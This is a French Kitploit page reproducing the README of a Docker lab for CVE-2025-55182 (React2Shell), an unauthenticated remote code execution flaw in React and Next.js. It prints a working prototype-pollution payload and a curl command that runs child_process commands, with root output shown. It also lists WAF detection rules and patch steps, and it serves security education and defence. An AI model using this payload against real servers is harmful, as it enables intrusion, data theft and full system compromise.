Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2025-55182-test-lab-windows — Laboratoire de test basé sur Docker pour la vulnérabilité RCE CVE-2025-55182 (React2Shell) dans React 19.1.0/Next.js 15.1.0. Inclut des scripts d'exploitation, des tests de contournement WAF avec NGINX/ModSecurity, et une comparaison de versions patchées pour l'éducation à la sécurité. | Kitploit
Outils/GitHubGitHub/fankh/cve-2025-55182-test-lab-windows
Analyse des VulnérabilitésExploitationExploitation d'Applications WebContournement de WAFCTFTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHubfankh/cve-2025-55182-test-lab-windows

cve-2025-55182-test-lab-windows

Voir le dépôt
3il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Laboratoire de test basé sur Docker pour la vulnérabilité RCE CVE-2025-55182 (React2Shell) dans React 19.1.0/Next.js 15.1.0. Inclut des scripts d'exploitation, des tests de contournement WAF avec NGINX/ModSecurity, et une comparaison de versions patchées pour l'éducation à la sécurité.

Partager

Test de CVE-2025-55182 (React2Shell)

⚠️ Avertissement : Contient une vulnérabilité d'exécution de code à distance (RCE) fonctionnelle.

📋 Table des matières

  • Aperçu
  • Informations sur la vulnérabilité
  • Démarrage rapide
  • Démonstration d'attaque réelle
  • Environnement de test
  • Règles de défense WAF
  • Structure des fichiers
  • Références
  • Mention légale

Aperçu

Environnement de test conteneurisé pour la vulnérabilité CVE-2025-55182 (React2Shell).

Principales caractéristiques

  • ✅ Reproduction de la vulnérabilité réelle - Environnement React 19.1.0 / Next.js 15.1.0
  • ✅ Attaque RCE réussie - Exécution de commandes réelle vérifiée
  • ✅ Test de défense WAF - Règles NGINX et Apache ModSecurity configurées
  • ✅ Comparaison des versions patchées - Test version vulnérable vs version patchée
  • ✅ Environnement Docker complet - Environnement conteneurisé isolé
  • Résultat de l'attaque

    root@kitploit:~
    🔴 CRITICAL VULNERABILITY CONFIRMED!
       Successfully executed 6/7 commands
    
    Executed Commands:
      ✅ whoami: root
      ✅ hostname: c89f1bd355b2
      ✅ pwd: /app
      ✅ id: uid=0(root) gid=0(root) groups=0(root)...
      ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
      ✅ node-ver: v20.19.6
    

    Informations sur la vulnérabilité

    CVE-2025-55182 (React2Shell)

    Score CVSS : 10.0 (CRITIQUE)
    Impact : Exécution de code à distance (RCE)
    Authentification requise : Aucune
    Vecteur d'attaque : Réseau

    Versions vulnérables

    • React : 19.0.0, 19.1.0, 19.1.1, 19.2.0
    • Next.js : < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

    Versions patchées

    • React : 19.1.2+
    • Next.js : 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

    Principe de l'attaque

    1. Prototype Pollution - Pollution du prototype via $1:__proto__:then
    2. Accès au constructeur de fonction - Accès via la désérialisation Blob (préfixe $B)
    3. Exécution de code arbitraire - Création de fonction avec du code contrôlé par l'attaquant
    4. Exécution de commandes système - RCE via child_process
    root@kitploit:~
    // Structure de la charge utile d'attaque
    {
      "then": "$1:__proto__:then",           // Pollution de Object.prototype.then
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',            // Déclenchement de la désérialisation Blob
      "_response": {
        "_prefix": "code_malveillant",               // Code à exécuter
        "_formData": {
          "get": "$1:constructor:constructor"  // Accès au constructeur de fonction
        }
      }
    }
    

    Démarrage rapide

    Prérequis

    • Docker Desktop
    • Node.js 20+ (pour test local, optionnel)
    • Au moins 4 Go de RAM
    • Au moins 2 Go d'espace disque libre

    Étape 1 : Démarrer l'environnement

    Windows (PowerShell) :

    root@kitploit:~
    PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start
    

    Étape 2 : Vérifier l'état

    root@kitploit:~
    .\run-tests.ps1 status
    

    Attendez que tous les conteneurs soient en état healthy (environ 1-2 minutes).

    Étape 3 : Lancer l'attaque

    Windows (PowerShell) :

    root@kitploit:~
    # Méthode 1 : Utiliser le script PowerShell (recommandé)
    .\tests\exploit-working.ps1
    
    # Méthode 2 : Exécution directe avec Node.js
    node tests\exploit-working.js
    
    ### Étape 4 : Vérifier les résultats
    
    Vous pouvez vérifier les résultats d'exécution des commandes dans les logs du serveur :
    
    ```bash
    docker compose logs vulnerable-app --tail=20
    

    Démonstration d'attaque

    Script d'attaque automatisé

    exploit-working.js ⭐ Recommandé

    Windows :

    root@kitploit:~
    # Script PowerShell (recommandé)
    .\tests\exploit-working.ps1
    
    # Ou exécution directe avec Node.js
    node tests\exploit-working.js
    

    Contenu de l'exécution :

    • ✅ Exécution de commandes shell arbitraires
    • ✅ Capture de la sortie des commandes dans les logs serveur
    • ✅ Test automatique de multiples commandes
    • ✅ Rapport de vulnérabilité détaillé

    Commandes testées :

    • whoami - Utilisateur actuel (root)
    • hostname - Nom d'hôte du conteneur
    • pwd - Répertoire de travail (/app)
    • id - Informations complètes sur l'utilisateur
    • uname -a - Informations système
    • node --version - Version de Node.js

    Attaque manuelle

    Attaque directe avec curl

    root@kitploit:~
    # Créer le fichier de charge utile
    cat > payload.txt << 'EOF'
    ------WebKitFormBoundary123
    Content-Disposition: form-data; name="0"
    
    {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
    ------WebKitFormBoundary123
    Content-Disposition: form-data; name="1"
    
    "$@0"
    ------WebKitFormBoundary123--
    EOF
    
    # Envoyer l'attaque
    curl -X POST http://localhost:3000/ \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
      -H "Next-Action: exploit" \
      --data-binary @payload.txt
    
    # Vérifier l'exécution dans les logs
    docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"
    

    Exécution de commandes personnalisées

    Vous pouvez modifier le script d'attaque pour exécuter les commandes de votre choix :

    root@kitploit:~
    // Dans le fichier exploit-working.js :
    const tests = [
      { name: 'custom', cmd: 'ls -la /app', desc: 'Liste du répertoire de l\'application' },
      { name: 'env', cmd: 'printenv', desc: 'Affichage des variables d\'environnement' }
    ]
    

    Environnement de test

    Conteneurs Docker

    PortServiceVersion ReactUsageStatut WAF
    3000vulnerable-app19.1.0Vulnérable - Test CVE-2025-55182❌ Non protégé
    3001patched-app19.1.2Sécurisé - Vérification du correctif✅ Patché
    8080nginx → vulnerable19.1.0Test WAF (NGINX)⚠️ Limité (pas d'inspection du corps)
    8081apache → vulnerable19.1.0Test WAF (ModSecurity)⚠️ Limité (réponse 405)
    8082nginx → patched19.1.2Test de double protection✅ Patché

    Environnement de l'application

    • Framework : Next.js 15.1.0 (App Router)
    • Version React : 19.1.0 (vulnérable)
    • Node.js : 20.19.6

    Scénarios de test

    Scénario 1 : Attaque de la version vulnérable

    root@kitploit:~
    # Exécuter l'attaque fonctionnelle
    node tests/exploit-working.js
    
    # Résultat attendu : exécution de commande réussie
    # Sortie : informations utilisateur, détails système, etc.
    

    Scénario 2 : Test de la version patchée

    Windows (PowerShell) :

    root@kitploit:~
    # Utiliser le script PowerShell
    .\tests\exploit-working.ps1 -Port 3001
    

    Résultat attendu : Échec de l'attaque (React 19.1.2 bloque l'attaque)

    Scénario 3 : Test de blocage WAF

    Windows (PowerShell) :

    root@kitploit:~
    # Tenter l'attaque via le WAF NGINX
    .\tests\exploit-working.ps1 -Port 8080
    

    Résultat attendu : Bloqué par les règles WAF


    Règles de défense WAF

    Règles de défense NGINX

    Emplacement : nginx/nginx.conf

    Modèles de détection :

    1. Prototype Pollution - __proto__, constructor:constructor
    2. Exploitation du protocole Flight - $X:__proto__, référence $B
    3. Chaîne de gadgets - child_process, execSync, require()
    4. Contournement par encodage URL - %5f%5fproto%5f%5f
    5. En-têtes suspects - Next-Action: #constructor

    Action de blocage :

    root@kitploit:~
    HTTP 403 Forbidden
    {
      "error": "Request blocked by WAF",
      "protection": "CVE-2025-55182",
      "waf": "NGINX"
    }
    

    Règles Apache ModSecurity

    Emplacement : apache/modsecurity-rules.conf

    Plage d'ID de règles : 100001-100017

    Règles principales :

    • 100001 : Détection de __proto__
    • 100002 : Accès à la chaîne du constructeur
    • 100003-100004 : Exploitation du protocole Flight
    • 100006-100007 : Modèles de chaîne de gadgets
    • 100008-100011 : Tentative de RCE (child_process, exec, spawn, require)
    • 100015 : En-tête Next-Action suspect
    • 100017 : Blocage basé sur un score anormal

    Test WAF

    root@kitploit:~
    # Test de blocage NGINX
    curl -X POST http://localhost:8080/ \
      -H "Content-Type: application/json" \
      -d '{"__proto__": {"polluted": true}}'
    
    # Réponse attendue : HTTP 403
    
    # Test de blocage ModSecurity
    curl -X POST http://localhost:8081/ \
      -H "Next-Action: test#constructor" \
      -d '{"data": "test"}'
    
    # Réponse attendue : HTTP 403
    

    Vérification des logs WAF

    root@kitploit:~
    # Logs de sécurité NGINX
    docker compose exec nginx tail -f /var/log/nginx/security.log
    
    # Logs d'audit Apache ModSecurity
    docker compose exec apache tail -f /var/log/apache2/modsec_audit.log
    

    ⚠️ Limites du WAF

    Important : La configuration WAF actuelle présente les limitations suivantes :

    NGINX (port 8080)

    • ❌ N'inspecte pas le corps de la requête
    • La configuration NGINX par défaut inspecte uniquement l'URL, les paramètres de requête et les en-têtes
    • La charge utile d'exploitation est contenue dans le corps multipart/form-data et n'est donc pas détectée
    • Solution : Nécessite lua-nginx-module ou une solution WAF distincte

    Apache ModSecurity (port 8081)

    • ⚠️ Next.js refuse les requêtes POST (405 Method Not Allowed)
    • ModSecurity est activé et peut inspecter le corps
    • Mais l'en-tête Next-Action est nécessaire, et cet en-tête seul ne suffit pas à une protection complète
    • État actuel : Réponse 405 avant que le WAF n'inspecte le corps

    Défense réelle contre l'attaque :

    • ✅ Méthode la plus efficace : Mettre à niveau React/Next.js vers une version patchée (ports 3001, 8082)
    • ⚠️ Le WAF n'offre qu'une protection partielle : Limité pour les attaques nécessitant l'inspection du corps

    Structure des fichiers

    root@kitploit:~
    cve-2025-55182-test-lab-windows/
    ├── README.md                           # README
    ├── docker-compose.yml                  # Configuration de l'environnement Docker
    ├── run-tests.ps1                       # Script d'exécution Windows
    ├── run-tests.sh                        # Script d'exécution Linux/Mac
    │
    ├── vulnerable-app/                     # Application version vulnérable
    │   ├── Dockerfile
    │   ├── package.json                    # React 19.1.0, Next.js 15.1.0
    │   ├── next.config.js
    │   ├── app/
    │   │   ├── layout.js                   # Mise en page de base
    │   │   ├── page.js                     # Page principale
    │   │   └── api/
    │   │       └── health/                 # Point de terminaison de vérification de santé
    │   │           └── route.js
    │   └── tests/                          
    │
    ├── patched-app/                        # Application version corrigée
    │   ├── Dockerfile
    │   ├── package.json                    # React 19.1.2, Next.js 15.1.9
    │   ├── next.config.js
    │   └── app/
    │       ├── layout.js
    │       ├── page.js
    │       └── api/
    │           └── health/
    │               └── route.js
    │
    ├── tests/                              # Scripts d'attaque
    │   ├── exploit-working.js              # Attaque RCE (Node.js)
    │   ├── exploit-working.ps1             # Attaque RCE (PowerShell)
    │   └── exploit-working.cmd             # Attaque RCE (fichier batch)
    │
    ├── nginx/                              # Configuration WAF NGINX
    │   ├── nginx.conf                      # Règles de blocage CVE-2025-55182
    │   └── nginx-patched.conf              # Configuration proxy
    │
    └── apache/                             # Configuration Apache ModSecurity
        ├── Dockerfile
        ├── apache-config.conf
        └── modsecurity-rules.conf          # Règles de blocage ModSecurity
    

    Méthodes de vérification de l'attaque

    Méthode 1 : Vérification de la sortie du script

    Le script d'attaque affiche directement les résultats :

    root@kitploit:~
    [whoami] Sending exploit...
      ✅ SUCCESS! Output: root
    

    Méthode 2 : Surveillance des logs serveur

    root@kitploit:~
    # Surveillance des logs en temps réel
    docker compose logs -f vulnerable-app
    
    # Éléments à vérifier :
    # [EXPLOIT] Executing: whoami
    # [RESULT] root
    

    Méthode 3 : Vérification des indicateurs d'attaque

    root@kitploit:~
    # Vérifier si l'attaque a été exécutée
    docker compose exec vulnerable-app ps aux | grep node
    
    # Vérifier les modifications du système de fichiers (si des fichiers ont été écrits)
    docker compose exec vulnerable-app ls -la /tmp
    

    Mesures correctives

    Correction par npm

    1. Mise à niveau de React - Installer la version 19.1.2 ou supérieure :

      root@kitploit:~
      npm install react@^19.1.2 react-dom@^19.1.2
      
    2. Mise à niveau de Next.js - Installer la version 15.1.9 ou supérieure :

      root@kitploit:~
      npm install next@^15.1.9
      
    3. Reconstruction et redéploiement :

      root@kitploit:~
      npm run build
      # Déployer en environnement de production
      

    Vérification après correction

    Windows (PowerShell) :

    root@kitploit:~
    # Tester avec la version patchée
    .\tests\exploit-working.ps1 -Port 3001
    
    # Ou
    $env:TARGET_PORT=3001; node tests\exploit-working.js
    

    Linux/Mac :

    root@kitploit:~
    # Tester avec la version patchée
    TARGET_PORT=3001 node tests/exploit-working.js
    

    Exemple de résultat : ℹ️ Exploitation failed

    Mesures de sécurité si le correctif est impossible

    1. Déploiement des règles WAF - Utiliser les règles NGINX/ModSecurity de ce projet
    2. Segmentation réseau - Limiter l'accès externe
    3. Limitation de débit - Appliquer des limites au point de terminaison Server Action
    4. Surveillance des logs - Surveiller les journaux de tentatives d'attaque

    Commandes Docker

    Gestion de l'environnement

    root@kitploit:~
    # Démarrer
    .\run-tests.ps1 start
    
    # Vérifier l'état
    .\run-tests.ps1 status
    
    # Voir les logs
    .\run-tests.ps1 logs
    
    # Arrêter
    .\run-tests.ps1 stop
    
    # Réinitialiser (supprimer tous les conteneurs et volumes)
    .\run-tests.ps1 clean
    

    Résolution des problèmes

    Si l'attaque ne fonctionne pas

    Windows (PowerShell) :

    root@kitploit:~
    # 1. Vérifier les versions
    docker compose exec vulnerable-app npm list react next
    
    # Doit afficher :
    # [email protected]
    # [email protected]
    
    # 2. Vérifier que le serveur répond
    curl http://localhost:3000
    
    # 3. Vérifier les logs Docker
    docker compose logs vulnerable-app --tail=50
    
    # 4. Redémarrer le conteneur
    docker compose restart vulnerable-app
    

    Si les valeurs de sortie ne sont pas visibles

    Windows (PowerShell) :

    root@kitploit:~
    # Filtrer les logs dans PowerShell
    docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"
    

    Docker Desktop ne démarre pas (Windows uniquement)

    Symptôme d'erreur :

    root@kitploit:~
    error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...
    

    Solution :

    1. Démarrer Docker Desktop
    2. Vérifier que l'icône dans la barre d'état système est verte
    3. Vérifier avec la commande docker ps

    Impossibilité d'exécuter le script PowerShell (Windows uniquement)

    Symptôme d'erreur :

    root@kitploit:~
    Impossible de charger le fichier... car l'exécution de scripts est désactivée sur ce système.
    

    Solution :

    root@kitploit:~
    # Appliquer uniquement à la session en cours
    Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
    
    # Ou exécuter directement
    PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1
    

    Erreurs de permissions

    Vérifier que Docker est en cours d'exécution et que vous avez les permissions nécessaires :

    Toutes les plateformes :

    root@kitploit:~
    docker compose ps
    

    Conflit de ports

    Si une autre application utilise le port :

    Windows (PowerShell) :

    root@kitploit:~
    # Vérifier le processus utilisant le port
    netstat -ano | findstr :3000
    
    # Terminer le processus (après avoir identifié le PID)
    taskkill /PID <PID> /F
    

    Toutes les plateformes (modification de docker-compose.yml) :

    root@kitploit:~
    # Modifier le port pour éviter le conflit
    services:
      vulnerable-app:
        ports:
          - "3010:3000"  # 3000 → 3010
    

    Si le WAF ne fonctionne pas

    Toutes les plateformes :

    root@kitploit:~
    # Tester la configuration NGINX
    docker compose exec nginx nginx -t
    
    # Tester la configuration Apache
    docker compose exec apache apachectl configtest
    
    # Vérifier les logs
    docker compose logs nginx --tail=30
    docker compose logs apache --tail=30
    

    Références

    Avis de sécurité officiels

    • Avis de sécurité React
    • Résumé Vercel CVE-2025-55182
    • Avis Next.js CVE-2025-66478
    • NVD - CVE-2025-55182

    Analyses techniques

    • Datadog Security Labs - CVE-2025-55182
    • Blog Wiz - RCE critique dans React
    • Analyse Palo Alto Unit42
    • Blog Kaspersky
    • Blog OX Security

    Preuves de concept

    • msanft/CVE-2025-55182
    • dwisiswant0/CVE-2025-55182
    • EynaExp/CVE-2025-55182-POC
    • Spritualkb/CVE-2025-55182-exp
    • ejpir/CVE-2025-55182-research

    Licence

    Ce projet est fourni à des fins éducatives et de recherche en sécurité.

    Restrictions d'utilisation :

    • Utilisation uniquement pour des tests de sécurité autorisés
    • Interdiction de modification à des fins malveillantes
    Télécharger l’outil